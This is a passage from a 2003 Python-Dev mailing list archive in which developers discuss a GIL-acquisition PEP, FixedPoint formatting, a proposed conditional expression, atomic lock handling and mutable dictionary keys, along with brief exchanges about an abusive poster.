pointer
    to a thread's existing PyThreadState.

> (I'm not a big fan of TLS, mostly because its API is different for
> each native thread package; requiring it would make the burden of
> providing the PyAutoThreadState API bigger.)

In the thread that started this discussion, it was noted that nobody needs
to support "screw-ball", or even old, platforms.  All complicated extensions
that require PyAutoThreadState only run on "major" platforms.  Everybody
seemed happy if only Windows, Mac and pthreads were supported.

Anyway, I do not propose that a platform provide a *complete* TLS
implementation - all I need is a way to get a per-thread pointer.  I expect
that if we keep the bar that low, most platforms with a TLS API of any
description should be able to provide this facility without too much pain.

I'll post a new PEP up with comments I have recieved, as well as a
clarification on the TLS, shortly.

Mark.



From python@rcn.com  Thu Feb  6 05:31:03 2003
From: python@rcn.com (Raymond Hettinger)
Date: Thu, 6 Feb 2003 00:31:03 -0500
Subject: [Python-Dev] RE: FixedPoint and % specifiers.
References: <LNBBLJKPBEHFEDALKOLCGEIBDLAB.tim_one@email.msn.com>
Message-ID: <003f01c2cda0$f11a76a0$125ffea9@oemcomputer>

Let's continue all of this in a private discussion.

If Tim had time to answer these emails, then it
would already be done; the problem is 95% solved
and it won't take rocket science to cover the last 5%.

Raymond


----- Original Message ----- 
From: "Tim Peters" <tim_one@email.msn.com>
To: "David LeBlanc" <whisper@oz.net>
Cc: <python-dev@python.org>
Sent: Wednesday, February 05, 2003 9:35 PM
Subject: RE: [Python-Dev] RE: FixedPoint and % specifiers.


> [David LeBlanc]
> > Well sheesh, I guess this just points to how long it's been since
> > I've done any serious C/C++ involving format specifiers. %f does what
> > I expect given a string initializer of a FixedPoint.
> 
> Then you haven't tried enough examples yet (one of my last two msgs showed a
> surprising result from "%.17f" % FixedPoint("0.1")).
> 
> > It's confusing to think of FixedPoints as really being Floats though.
> 
> They aren't floats, but they participate in Python's numeric protocols, and
> "silently coerce when in a float context" is one I don't personally like but
> is generally expected.  FixedPoint plays along with it, although in a
> perverse way (it usually coerces the float to a FixedPoint instead of vice
> versa, since that's probably less surprising more often).
> 
> > If FixedPoint is going to be oriented towards business app programmers
> > and/or edu-kids, isn't the need to pass a string a bit counter intuitive?
> 
> Yes, but, as before, inputs to FixedPoint constructors are unlikely to be
> literals.  In business apps, they're likely to be sucked out of databases,
> most of which support a native decimal type of their own.  In that context
> there's no cause for any loss of information.
> 
> > Has the parser hacked the arg into a float by the time the __init__
> > sees it?  (I suppose, come to think of it, that's an obvious "yes".)
> 
> Two points!  That's right.
> 
> > I suggest that DEFAULT_PRECISION should be 4. From the dim recesses of
> > my pre-history, I seem to recall that the money programmers liked that -
> > they _saved_ the round-offs into what was called a "penny register" and
> > accumulated them. When you're dealing with millions, a drip here
> > and a drop there and pretty soon, if you're dishonest, you can add a
> > check to the check processing run for some serious pocket change (this
> > actually happened) ;)
> 
> This module has been in use for a few years already.  If the people who
> actually used it suggested this, I'd be happy to oblige.  But this is the
> first time it's been suggested, and by someone who hasn't used it "for
> real", so I'm inclined to let it go at that.
> 
> > Ok, so FixedPoint is really just a subterfuge for floats?
> 
> No.  Read the docs and play more with the module.  For example, FixedPoint +
> and - are always exact.  Float + and - are not.
> 
> > Seems less than useful to our money and edu-kid users? (I think I'm
> > hinting here that FixedPoint should be a distinct type if it's really
> > going to have the semantics the intended audience expects. That probably
> > kills it for 2.3 I guess.)
> 
> FixedPoint is already a distinct type, but if you mix one with a float,
> you're going to get surprised.  The surprise will come from the float part,
> though, not from the FixedPoint part.  Don't mix FixedPoints with floats, or
> use them in float contexts, and you won't get surprises.
> 
> > ...
> > Agreed - internally, a FixedPoint should retain all it's digits and only
> > have any idea of precision at display time IMO.
> 
> I don't know what this means, or do but assure you it can't be implemented.
> For example, the mathematical result of FixedPoint(1)/7 doesn't have a
> finite decimal representation -- "all its digits" is unbounded.  As
> implemented, the result inherits its precision from the FixedPoint operand,
> which can be as large as you like, but must be specified in advance.
> 
> >>> print FixedPoint(1, 70)/7
> 0.1428571428571428571428571428571428571428571428571428571428571428571429
> >>>
> 
> Try that with floats and see what you get <wink>.
> 
> 
> _______________________________________________
> Python-Dev mailing list
> Python-Dev@python.org
> http://mail.python.org/mailman/listinfo/python-dev


From aahz@pythoncraft.com  Thu Feb  6 06:28:56 2003
From: aahz@pythoncraft.com (Aahz)
Date: Thu, 6 Feb 2003 01:28:56 -0500
Subject: [Python-Dev] Trinary Operators
In-Reply-To: <20030206043026.GA29482@homer.gst.com>
References: <20030206043026.GA29482@homer.gst.com>
Message-ID: <20030206062856.GA7607@panix.com>

On Wed, Feb 05, 2003, Christopher Blunck wrote:
> 
> What was the reasoning for not supporting trinary operators in py?

Although this is technically on-topic for python-dev, it's such a FAQ
that you should take this question to comp.lang.python; we don't have
time for it on this list.
-- 
Aahz (aahz@pythoncraft.com)           <*>         http://www.pythoncraft.com/

"Argue for your limitations, and sure enough they're yours."  --Richard Bach


From duncan@rcp.co.uk  Thu Feb  6 09:51:18 2003
From: duncan@rcp.co.uk (Duncan Booth)
Date: Thu, 6 Feb 2003 09:51:18 +0000
Subject: [Python-Dev] With statement
References: <2msmv2onnm.fsf@starship.python.net> <3E414335.7030704@pobox.com>
Message-ID: <Xns931A6292E2A77duncanrcpcouk@127.0.0.1>

John Williams <jrw@pobox.com> wrote in news:3E414335.7030704@pobox.com:

> Why not combine the "with" and "local" statement ideas?  Change the 
> "with" statement so that there is no __enter__ method, and call __del__ 
> where there current proposal calls __exit__. 

If you put in your suggested check for getrefcount, then you can't port 
this to systems with no refcount (such as Jython) and this use of __del__ 
conflicts with Jython's use.

Also, if you try to reuse __del__ in this way you are introducing another 
possible place where it can go wrong (if someone has saved a reference to 
the controlled variable and your assertion fails), whereas with __exit__ 
you don't have to insist that all other references have gone.  

Indeed, if the variable is controlling a resource, such as a mutex, you 
might very well want to maintain a list of all controlled resources. The 
__exit__ can remove self from whatever data structures refer to it, but you 
would have to do it manually before letting the __del__ be called.

Finally consider:
   f = file(...)
   try:
     DoSomethingWith(f)
   finally:
     assert sys.getrefcount(f) == 2
     del f
     # f is guaranteed dead, so f.__del__ is called

If 'DoSomethingWith' throws an exception, the reference count for f is not 
2 as 'f' is still referred to from the stack backtrace that someone may 
wish to inspect.

-- 
Duncan Booth                                             duncan@rcp.co.uk
int month(char *p){return(124864/((p[0]+p[1]-p[2]&0x1f)+1)%12)["\5\x8\3"
"\6\7\xb\1\x9\xa\2\0\4"];} // Who said my code was obscure?


From mal@lemburg.com  Thu Feb  6 10:48:38 2003
From: mal@lemburg.com (M.-A. Lemburg)
Date: Thu, 06 Feb 2003 11:48:38 +0100
Subject: [Python-Dev] Re: How to lose potential users/developers
In-Reply-To: <20030206043551.55262.qmail@web10305.mail.yahoo.com>
References: <20030206043551.55262.qmail@web10305.mail.yahoo.com>
Message-ID: <3E423D86.1040600@lemburg.com>

Could someone please unsubscribe this guy ? Otherwise, I'll have
to teach spambayes to do it for me ;-)

Thanks,
-- 
Marc-Andre Lemburg
CEO eGenix.com Software GmbH
_______________________________________________________________________
eGenix.com -- Makers of the Python mx Extensions: mxDateTime,mxODBC,...
Python Consulting:                               http://www.egenix.com/
Python Software:                    http://www.egenix.com/files/python/

Graham Guttocks wrote:
> Paul Prescod <paul@prescod.net> wrote: 
> 
>>I wrote this because I wanted to judge for myself based on the record
>>whether the problem is that Python's "bigwigs" do not "take
>>constructive criticism well."
> 
> 
> Wow, what a treatise Paul. You sure have allot of free time on
> your hands mate.
> 
> Is there any end to the number of Internet arseholes out there?
> 
> =====
> Regards,
> Graham
> 
> http://greetings.yahoo.com.au - Yahoo! Greetings
> - Send some online love this Valentine's Day.
> 
> _______________________________________________
> Python-Dev mailing list
> Python-Dev@python.org
> http://mail.python.org/mailman/listinfo/python-dev



From mwh@python.net  Thu Feb  6 11:33:23 2003
From: mwh@python.net (Michael Hudson)
Date: Thu, 06 Feb 2003 11:33:23 +0000
Subject: [Python-Dev] Negated hex/oct constants (SF #660455)
In-Reply-To: <200302052136.h15La3W06575@odiug.zope.com> (Guido van Rossum's
 message of "Wed, 05 Feb 2003 16:36:03 -0500")
References: <200302051905.h15J51C29854@odiug.zope.com>
 <15937.32213.2274.292336@gargle.gargle.HOWL>
 <200302052136.h15La3W06575@odiug.zope.com>
Message-ID: <2m1y2ly77g.fsf@starship.python.net>

Guido van Rossum <guido@python.org> writes:

>> >>>>> "GvR" == Guido van Rossum <guido@python.org> writes:
>> 
>>     GvR> The bad thing is that this bug is already in all versions of
>>     GvR> Python 2.2, as well as in Python 2.3a1.
>> 
>> So how did you find it?  Was a bug report or random noodling?  Was
>> someone actually bit by it?  I'm curious but I don't have a
>> recommendation since I'd never write something like this (hex
>> constants always seem unsigned to me).
>> 
>> -Barry
>
> I don't recall how I found it -- I think someone mentioned it to me.

Theres an -020000000000000000000000000000000000 in test_grammar[1].
Given this thread, I'm rather unclear what it's testing.  The compiler
module compiles it differently to the builtin compiler.

Cheers,
M.

[1] I may not have got the number of zeros correct :)

-- 
  MARVIN:  Oh dear, I think you'll find reality's on the blink again.
                   -- The Hitch-Hikers Guide to the Galaxy, Episode 12


From guido@python.org  Thu Feb  6 13:42:03 2003
From: guido@python.org (Guido van Rossum)
Date: Thu, 06 Feb 2003 08:42:03 -0500
Subject: [Python-Dev] Re: How to lose potential users/developers
In-Reply-To: "Your message of Thu, 06 Feb 2003 11:48:38 +0100."
 <3E423D86.1040600@lemburg.com>
References: <20030206043551.55262.qmail@web10305.mail.yahoo.com>
 <3E423D86.1040600@lemburg.com>
Message-ID: <200302061342.h16Dg3n26884@pcp02138704pcs.reston01.va.comcast.net>

> Could someone please unsubscribe this guy ? Otherwise, I'll have
> to teach spambayes to do it for me ;-)

We don't unsubscribe people because we don't like them.

However, ignoring him cam be very effective.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Thu Feb  6 13:48:01 2003
From: guido@python.org (Guido van Rossum)
Date: Thu, 06 Feb 2003 08:48:01 -0500
Subject: [Python-Dev] Trinary Operators
In-Reply-To: "Your message of Thu, 06 Feb 2003 01:28:56 EST."
 <20030206062856.GA7607@panix.com>
References: <20030206043026.GA29482@homer.gst.com>
 <20030206062856.GA7607@panix.com>
Message-ID: <200302061348.h16Dm1E27999@pcp02138704pcs.reston01.va.comcast.net>

> > What was the reasoning for not supporting trinary operators in py?
> 
> Although this is technically on-topic for python-dev, it's such a FAQ
> that you should take this question to comp.lang.python; we don't have
> time for it on this list.

FAQ entry 4.16 is on how to spell ?: in Python.  Maybe it can be
extended with an explanation of *why* it isn't available?

--Guido van Rossum (home page: http://www.python.org/~guido/)


From Anthony Baxter <anthony@interlink.com.au>  Thu Feb  6 13:51:18 2003
From: Anthony Baxter <anthony@interlink.com.au> (Anthony Baxter)
Date: Fri, 07 Feb 2003 00:51:18 +1100
Subject: [Python-Dev] How to troll python-dev
In-Reply-To: <3E4160E4.80503@prescod.net>
Message-ID: <200302061351.h16DpI503745@localhost.localdomain>

Might I suggest something like the following? (adjust to suit your own
mail setup)

:0:
* ^From: Graham Guttocks <graham_guttocks@yahoo.co.nz>$
/dev/null


Anthony


-- 
Anthony Baxter     <anthony@interlink.com.au>   
It's never too late to have a happy childhood.



From guido@python.org  Thu Feb  6 13:50:38 2003
From: guido@python.org (Guido van Rossum)
Date: Thu, 06 Feb 2003 08:50:38 -0500
Subject: [Python-Dev] PEP Draft: Simplified Global Interpreter Lock
 acquisition for extensions
In-Reply-To: "Your message of Thu, 06 Feb 2003 15:54:21 +1100."
 <009201c2cd9b$d08d47a0$530f8490@eden>
References: <009201c2cd9b$d08d47a0$530f8490@eden>
Message-ID: <200302061350.h16DodW28328@pcp02138704pcs.reston01.va.comcast.net>

> > One question: you claim that some implementation of TLS (Thread Local
> > Storage) is required to implement this API, but you don't give enough
> > implementation details to explain this requirement.
> >
> > I wonder if instead of relying on TLS, you could return a void*
> > pointer from PyAutoThreadState_Ensure() which must be passed back into
> > PyAutoThreadState_Release()?  Or is TLS used for something else too?
> 
> OK, I will re-work that portion.  I just came up with the following
> justification:
> 
>     A platform TLS implementation is required to correctly support
>     PyThreadState semantics.  It is assumed that it is an error if
>     two discrete PyThreadStates are used for a single thread.
>     Comments in pystate.h ("State unique per thread") support this
>     view, although it is never directly stated.  Thus, this
>     implementation will require some abstraction to allow at least
>     per-thread storage of a simple pointer to a thread's existing
>     PyThreadState.

Thanks, that explains it.

> > (I'm not a big fan of TLS, mostly because its API is different for
> > each native thread package; requiring it would make the burden of
> > providing the PyAutoThreadState API bigger.)
> 
> In the thread that started this discussion, it was noted that nobody needs
> to support "screw-ball", or even old, platforms.  All complicated extensions
> that require PyAutoThreadState only run on "major" platforms.  Everybody
> seemed happy if only Windows, Mac and pthreads were supported.

OK.

> Anyway, I do not propose that a platform provide a *complete* TLS
> implementation - all I need is a way to get a per-thread pointer.  I expect
> that if we keep the bar that low, most platforms with a TLS API of any
> description should be able to provide this facility without too much pain.
> 
> I'll post a new PEP up with comments I have recieved, as well as a
> clarification on the TLS, shortly.

Great!

When can we expect code? :-)

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Thu Feb  6 13:59:21 2003
From: guido@python.org (Guido van Rossum)
Date: Thu, 06 Feb 2003 08:59:21 -0500
Subject: [Python-Dev] Negated hex/oct constants (SF #660455)
In-Reply-To: "Your message of Thu, 06 Feb 2003 15:50:58 +1100."
 <338366A6D2E2CA4C9DAEAE652E12A1DE1965C4@au3010avexu1.global.avaya.com>
References: <338366A6D2E2CA4C9DAEAE652E12A1DE1965C4@au3010avexu1.global.avaya.com>
Message-ID: <200302061359.h16DxLB29501@pcp02138704pcs.reston01.va.comcast.net>

> Given all this, I'm +1 on leaving it as it is, and +1 on making it
> all consistent for 2.4 ...

-(0xffffffff) to that. :-)

--Guido van Rossum (home page: http://www.python.org/~guido/)


From gward@python.net  Thu Feb  6 14:06:47 2003
From: gward@python.net (Greg Ward)
Date: Thu, 6 Feb 2003 09:06:47 -0500
Subject: [Python-Dev] Trinary Operators
In-Reply-To: <20030206043026.GA29482@homer.gst.com>
References: <20030206043026.GA29482@homer.gst.com>
Message-ID: <20030206140647.GA1498@cthulhu.gerg.ca>

On 05 February 2003, Christopher Blunck said:
> One of the great things I love about py is how much bang for your buck you
> get per line of code.  I can do much more in 10 lines of py than I can do in
> Java.  Being able to do something like this would really help me:
>   bigger = a > b ? a : b

I won't claim to channel Guido, but C's ?: operator is ugly, obscure,
and weird.  Just because it has been copied by Java and Perl does not
mean it is a good thing.  The fact that Python does not ape C is a
*feature*.

        Greg
-- 
Greg Ward <gward@python.net>                         http://www.gerg.ca/
If you're not part of the solution, you're part of the precipitate.


From barry@python.org  Thu Feb  6 14:11:47 2003
From: barry@python.org (Barry A. Warsaw)
Date: Thu, 6 Feb 2003 09:11:47 -0500
Subject: Atomic operations (was Re: [Python-Dev] Why did Fredrik leave the party?)
References: <200302031653.h13Grof20104@odiug.zope.com>
 <068a01c2cc8e$31e97140$6d94fea9@newmexico>
 <200302042057.h14KvEI26727@odiug.zope.com>
 <200302041843.30945.mclay@nist.gov>
 <200302050207.h1527tf21975@pcp02138704pcs.reston01.va.comcast.net>
 <001a01c2cd1e$a1e30d40$860bf5d1@PythonToy>
 <200302051448.h15EmL428173@odiug.zope.com>
 <20030205184351.GA17468@thyrsus.com>
Message-ID: <15938.27939.731673.576239@gargle.gargle.HOWL>

>>>>> "ESR" == Eric S Raymond <esr@thyrsus.com> writes:

    ESR> I'm going to have to come out against this idea.  I think it
    ESR> violates "explicit is better than implicit", and is
    ESR> perilously close to being mere syntactic sugar.

Except that it's not, because of the lack of atomic acquire-and-enter-try.

You could probably code this specific example like so:

    try:
	lock.acquire()
	dosomething()
    finally:
	try:
	    lock.release()
	except NotLocked:
	    pass

but you still have the problem of ironclad resource release in
other situations, such as the cursor opening scenario (I think) I
posted before.

Brett (I think) suggested that there may be alternatives to a
syntactic approach, e.g. one that prohibits thread switching between
the resource acquisition and the entering of the try.  That might be
interesting to explore, but I worry about deadlock possibilities.

-Barry


From skip@pobox.com  Thu Feb  6 16:13:20 2003
From: skip@pobox.com (Skip Montanaro)
Date: Thu, 6 Feb 2003 10:13:20 -0600
Subject: [Python-Dev] Trinary Operators
In-Reply-To: <20030206140647.GA1498@cthulhu.gerg.ca>
References: <20030206043026.GA29482@homer.gst.com>
 <20030206140647.GA1498@cthulhu.gerg.ca>
Message-ID: <15938.35232.35264.336812@montanaro.dyndns.org>

    Greg> The fact that Python does not ape C is a *feature*.

And a good feature at that. ;-)

Skip


From skip@pobox.com  Thu Feb  6 15:39:53 2003
From: skip@pobox.com (Skip Montanaro)
Date: Thu, 6 Feb 2003 09:39:53 -0600
Subject: [Python-Dev] Re: How to lose potential users/developers
In-Reply-To: <3E423D86.1040600@lemburg.com>
References: <20030206043551.55262.qmail@web10305.mail.yahoo.com>
 <3E423D86.1040600@lemburg.com>
Message-ID: <15938.33225.303269.70915@montanaro.dyndns.org>

    mal> Could someone please unsubscribe this guy ? Otherwise, I'll have to
    mal> teach spambayes to do it for me ;-)

I'm interested to see Brett's next python-dev summary.  Will Graham make the
jump to c.l.py?  If so, in what form?  ;-)

Skip


From ark@research.att.com  Thu Feb  6 16:48:01 2003
From: ark@research.att.com (Andrew Koenig)
Date: 06 Feb 2003 11:48:01 -0500
Subject: [Python-Dev] Trinary Operators
In-Reply-To: <20030206140647.GA1498@cthulhu.gerg.ca>
References: <20030206043026.GA29482@homer.gst.com>
 <20030206140647.GA1498@cthulhu.gerg.ca>
Message-ID: <yu99fzr1cq4e.fsf@europa.research.att.com>

Greg> I won't claim to channel Guido, but C's ?: operator is ugly,
Greg> obscure, and weird.  Just because it has been copied by Java and
Greg> Perl does not mean it is a good thing.  The fact that Python
Greg> does not ape C is a *feature*.

Notwithstanding which, I occasionally wish that Python had an
if-then-else operator.

I personally like the way Algol 68 does it, although I acknowledge
that Python couldn't really do it the same way because Algol 68
does not distinguish between statements and expressions.

Algol 68 always uses closing-delimiter keywords to go with the
corresponding opening-delimiter keywords, so an if-expression
looks like this:

        if ... then ... fi
        if ... then ... else ... fi
        if ... then ... elif ... then ... fi
        if ... then ... elif ... then ... else ... fi

and so on (I think it's spelled "elif", but it might be "elsf" --
it's been a long time since I studied Algol 68).

What I find particularly nice is that Algol 68 allows "if" to be
abbreviated as "(", "fi" as ")", "then" or "else" as "|", and
"elif" as "|:".

So where a C programmer would write

        x = (y>z? y: z);

an Algol 68 programmer would write

        x := if y>z then y else z fi;

or, equivalently

        x := (y>z | y | z);

Of course, using | this way works only because Algol 68 uses
different symbols for "and" and "or".

-- 
Andrew Koenig, ark@research.att.com, http://www.research.att.com/info/ark


From guido@python.org  Thu Feb  6 17:02:06 2003
From: guido@python.org (Guido van Rossum)
Date: Thu, 06 Feb 2003 12:02:06 -0500
Subject: [Python-Dev] Trinary Operators
In-Reply-To: Your message of "06 Feb 2003 11:48:01 EST."
 <yu99fzr1cq4e.fsf@europa.research.att.com>
References: <20030206043026.GA29482@homer.gst.com> <20030206140647.GA1498@cthulhu.gerg.ca>
 <yu99fzr1cq4e.fsf@europa.research.att.com>
Message-ID: <200302061702.h16H26723375@odiug.zope.com>

> Notwithstanding which, I occasionally wish that Python had an
> if-then-else operator.

Me too, on odd-numbered days.  (On even-numbered days I think the
addition to the learning curve isn't worth the savings in typing.)

> I personally like the way Algol 68 does it, although I acknowledge
> that Python couldn't really do it the same way because Algol 68
> does not distinguish between statements and expressions.
> 
> Algol 68 always uses closing-delimiter keywords to go with the
> corresponding opening-delimiter keywords, so an if-expression
> looks like this:
> 
>         if ... then ... fi
>         if ... then ... else ... fi
>         if ... then ... elif ... then ... fi
>         if ... then ... elif ... then ... else ... fi
> 
> and so on (I think it's spelled "elif", but it might be "elsf" --
> it's been a long time since I studied Algol 68).

It's elif.

> What I find particularly nice is that Algol 68 allows "if" to be
> abbreviated as "(", "fi" as ")", "then" or "else" as "|", and
> "elif" as "|:".
> 
> So where a C programmer would write
> 
>         x = (y>z? y: z);
> 
> an Algol 68 programmer would write
> 
>         x := if y>z then y else z fi;
> 
> or, equivalently
> 
>         x := (y>z | y | z);
> 
> Of course, using | this way works only because Algol 68 uses
> different symbols for "and" and "or".

I think I've seen the suggestion

    x = (y if y>z else z)

:-)

--Guido van Rossum (home page: http://www.python.org/~guido/)


From jeremy@zope.com  Thu Feb  6 17:05:29 2003
From: jeremy@zope.com (Jeremy Hylton)
Date: Thu, 6 Feb 2003 12:05:29 -0500
Subject: Atomic operations (was Re: [Python-Dev] Why did Fredrik leave the party?)
In-Reply-To: <15938.27939.731673.576239@gargle.gargle.HOWL>
References: <200302031653.h13Grof20104@odiug.zope.com>
 <068a01c2cc8e$31e97140$6d94fea9@newmexico>
 <200302042057.h14KvEI26727@odiug.zope.com>
 <200302041843.30945.mclay@nist.gov>
 <200302050207.h1527tf21975@pcp02138704pcs.reston01.va.comcast.net>
 <001a01c2cd1e$a1e30d40$860bf5d1@PythonToy>
 <200302051448.h15EmL428173@odiug.zope.com>
 <20030205184351.GA17468@thyrsus.com>
 <15938.27939.731673.576239@gargle.gargle.HOWL>
Message-ID: <15938.38361.935496.115469@slothrop.zope.com>

>>>>> "BAW" == Barry A Warsaw <barry@python.org> writes:
  BAW> Except that it's not, because of the lack of atomic
  BAW> acquire-and-enter-try.

  BAW> You could probably code this specific example like so:

  BAW>     try:
  BAW> 	lock.acquire() dosomething()
  BAW>     finally:
  BAW> 	try:
  BAW> 	    lock.release()
  BAW> 	except NotLocked:
  BAW> 	    pass

  BAW> but you still have the problem of ironclad resource release in
  BAW> other situations, such as the cursor opening scenario (I think)
  BAW> I posted before.

  BAW> Brett (I think) suggested that there may be alternatives to a
  BAW> syntactic approach, e.g. one that prohibits thread switching
  BAW> between the resource acquisition and the entering of the try.
  BAW> That might be interesting to explore, but I worry about
  BAW> deadlock possibilities.

There was a good paper on this subject at LL2.  You can find it here:
http://www.cs.williams.edu/~freund/papers.html

Jeremy



From mailing-lists@digitaleric.net  Thu Feb  6 17:09:55 2003
From: mailing-lists@digitaleric.net (Eric)
Date: Thu, 06 Feb 2003 12:09:55 -0500
Subject: [Python-Dev] Re: Pre-PEP: Mutable keys in dictionaries
References: <r01050400-1023-2B11A7CA396511D7B33C003065D5E7E4@[10.0.0.23]>
Message-ID: <b1u4pa$95c$1@main.gmane.org>

Just van Rossum wrote:

[snip]
> 
> The __temporary_immutable__ part of the protocol is needed to avoid
> unneccesary copying in those cases where the key isn't actually inserted
> into the dict, but is only used for membership testing. It would return
> a wrapper around the mutable object, defining __eq__ and __hash__. (This
> idea is stolen from the sets.py module.) If an implementer doesn't care
> about this efficiency, __temporary_immutable__ can be an alias to
> __immutable_copy__.

Can __temporary_immutable__ work on a multi-threaded system?  What is to 
prevent the (known to be mutable) key from changing underneath you during 
the lookup?  Perhaps I am misunderstanding, but it seems to me that you 
must either copy the mutable key or be able to block all writers to the key 
during the lookup.

Other than that, I very much like the idea of using mutable keys :)

-Eric



From barry@python.org  Thu Feb  6 17:34:19 2003
From: barry@python.org (Barry A. Warsaw)
Date: Thu, 6 Feb 2003 12:34:19 -0500
Subject: [Python-Dev] Re: Atomic operations
References: <200302031653.h13Grof20104@odiug.zope.com>
 <068a01c2cc8e$31e97140$6d94fea9@newmexico>
 <200302042057.h14KvEI26727@odiug.zope.com>
 <200302041843.30945.mclay@nist.gov>
 <200302050207.h1527tf21975@pcp02138704pcs.reston01.va.comcast.net>
 <001a01c2cd1e$a1e30d40$860bf5d1@PythonToy>
 <200302051448.h15EmL428173@odiug.zope.com>
 <20030205184351.GA17468@thyrsus.com>
 <15938.27939.731673.576239@gargle.gargle.HOWL>
 <15938.38361.935496.115469@slothrop.zope.com>
Message-ID: <15938.40091.534416.426167@gargle.gargle.HOWL>

>>>>> "JH" == Jeremy Hylton <jeremy@zope.com> writes:

    JH> There was a good paper on this subject at LL2.  You can find
    JH> it here: http://www.cs.williams.edu/~freund/papers.html

Search for "Safe Asynchronous Exceptions For Python".

Nice paper.  I don't much like the nested block:/unblock: construction
(too much indentation), but the initially: part is nice.

-Barry


From ark@research.att.com  Thu Feb  6 17:07:31 2003
From: ark@research.att.com (Andrew Koenig)
Date: Thu, 6 Feb 2003 12:07:31 -0500 (EST)
Subject: [Python-Dev] Trinary Operators
In-Reply-To: <200302061702.h16H26723375@odiug.zope.com> (message from Guido
 van Rossum on Thu, 06 Feb 2003 12:02:06 -0500)
References: <20030206043026.GA29482@homer.gst.com> <20030206140647.GA1498@cthulhu.gerg.ca>
 <yu99fzr1cq4e.fsf@europa.research.att.com> <200302061702.h16H26723375@odiug.zope.com>
Message-ID: <200302061707.h16H7Vm02222@europa.research.att.com>

Guido> I think I've seen the suggestion

Guido>     x = (y if y>z else z)

Guido> :-)

That's not bad, even though it looks Perlish :-)

It has the advantage of looking like a list comprehension.

I presume the parentheses would be mandatory.



From guido@python.org  Thu Feb  6 18:08:44 2003
From: guido@python.org (Guido van Rossum)
Date: Thu, 06 Feb 2003 13:08:44 -0500
Subject: [Python-Dev] Trinary Operators
In-Reply-To: Your message of "Thu, 06 Feb 2003 12:07:31 EST."
 <200302061707.h16H7Vm02222@europa.research.att.com>
References: <20030206043026.GA29482@homer.gst.com> <20030206140647.GA1498@cthulhu.gerg.ca> <yu99fzr1cq4e.fsf@europa.research.att.com> <200302061702.h16H26723375@odiug.zope.com>
 <200302061707.h16H7Vm02222@europa.research.att.com>
Message-ID: <200302061808.h16I8jM26135@odiug.zope.com>

> Guido> I think I've seen the suggestion
> 
> Guido>     x = (y if y>z else z)
> 
> Guido> :-)
> 
> That's not bad, even though it looks Perlish :-)
> 
> It has the advantage of looking like a list comprehension.
> 
> I presume the parentheses would be mandatory.

Maybe I should write a PEP and let the folks in c.l.py vote on it,
just for fun.  (I expect to get about as many yes votes as no votes. :-)

--Guido van Rossum (home page: http://www.python.org/~guido/)


From tismer@tismer.com  Thu Feb  6 18:24:38 2003
From: tismer@tismer.com (Christian Tismer)
Date: Thu, 06 Feb 2003 19:24:38 +0100
Subject: [Python-Dev] Re: How to lose potential users/developers
In-Reply-To: <3E423D86.1040600@lemburg.com>
References: <20030206043551.55262.qmail@web10305.mail.yahoo.com> <3E423D86.1040600@lemburg.com>
Message-ID: <3E42A866.7000509@tismer.com>

M.-A. Lemburg wrote:
> Could someone please unsubscribe this guy ? Otherwise, I'll have
> to teach spambayes to do it for me ;-)

That spambayes idea was exactly what I'd propose,
if eveyone lese agrees.

-- 
Christian Tismer             :^)   <mailto:tismer@tismer.com>
Mission Impossible 5oftware  :     Have a break! Take a ride on Python's
Johannes-Niemeyer-Weg 9a     :    *Starship* http://starship.python.net/
14109 Berlin                 :     PGP key -> http://wwwkeys.pgp.net/
work +49 30 89 09 53 34  home +49 30 802 86 56  pager +49 173 24 18 776
PGP 0x57F3BF04       9064 F4E1 D754 C2FF 1619  305B C09C 5A3B 57F3 BF04
      whom do you want to sponsor today?   http://www.stackless.com/




From just@letterror.com  Thu Feb  6 18:25:56 2003
From: just@letterror.com (Just van Rossum)
Date: Thu,  6 Feb 2003 19:25:56 +0100
Subject: [Python-Dev] Re: Pre-PEP: Mutable keys in dictionaries
In-Reply-To: <b1u4pa$95c$1@main.gmane.org>
Message-ID: <r01050400-1023-80D4BE7E3A0011D7A5DA003065D5E7E4@[10.0.0.23]>

Eric wrote:

> Just van Rossum wrote:
> 
> [snip]
> > 
> > The __temporary_immutable__ part of the protocol is needed to avoid
> > unneccesary copying in those cases where the key isn't actually
> > inserted into the dict, but is only used for membership testing. It
> > would return a wrapper around the mutable object, defining __eq__
> > and __hash__. (This idea is stolen from the sets.py module.) If an
> > implementer doesn't care about this efficiency,
> > __temporary_immutable__ can be an alias to __immutable_copy__.
> 
> Can __temporary_immutable__ work on a multi-threaded system?  What is
> to prevent the (known to be mutable) key from changing underneath you
> during the lookup?  Perhaps I am misunderstanding, but it seems to me
> that you must either copy the mutable key or be able to block all
> writers to the key during the lookup.

Provided the underlying mutable object is a Python object, there is no
chance that the object can change during the operation, due to the
wonders of the Global Interpreter Lock. When integrated with
dictobject.c it is guaranteed that the operation is atomic. I'll make
sure this gets added to the PEP.

> Other than that, I very much like the idea of using mutable keys :)

In certain circumstances, yes, however I would by no means propose that
Python dicts and lists should support this protocol themselves, ie. it
should remain impossible to use dicts and lists as keys. A) because it
would cause confusion, B) because it would be hard to implement with
respect to nested objects (eg. what about a tuple containing a dict?).

Just


From esr@thyrsus.com  Thu Feb  6 18:18:44 2003
From: esr@thyrsus.com (Eric S. Raymond)
Date: Thu, 6 Feb 2003 13:18:44 -0500
Subject: [Python-Dev] Trinary Operators
In-Reply-To: <200302061808.h16I8jM26135@odiug.zope.com>
References: <20030206043026.GA29482@homer.gst.com> <20030206140647.GA1498@cthulhu.gerg.ca> <yu99fzr1cq4e.fsf@europa.research.att.com> <200302061702.h16H26723375@odiug.zope.com> <200302061707.h16H7Vm02222@europa.research.att.com> <200302061808.h16I8jM26135@odiug.zope.com>
Message-ID: <20030206181844.GA22912@thyrsus.com>

Guido van Rossum <guido@python.org>:
> Maybe I should write a PEP and let the folks in c.l.py vote on it,
> just for fun.  (I expect to get about as many yes votes as no votes. :-)

What was I muttering the other day about Python becoming a
more expression-oriented language? :-)
-- 
		<a href="http://www.catb.org/~esr/">Eric S. Raymond</a>


From ark@research.att.com  Thu Feb  6 18:27:35 2003
From: ark@research.att.com (Andrew Koenig)
Date: Thu, 6 Feb 2003 13:27:35 -0500 (EST)
Subject: [Python-Dev] Trinary Operators
In-Reply-To: <200302061808.h16I8jM26135@odiug.zope.com> (message from Guido
 van Rossum on Thu, 06 Feb 2003 13:08:44 -0500)
References: <20030206043026.GA29482@homer.gst.com> <20030206140647.GA1498@cthulhu.gerg.ca> <yu99fzr1cq4e.fsf@europa.research.att.com> <200302061702.h16H26723375@odiug.zope.com>
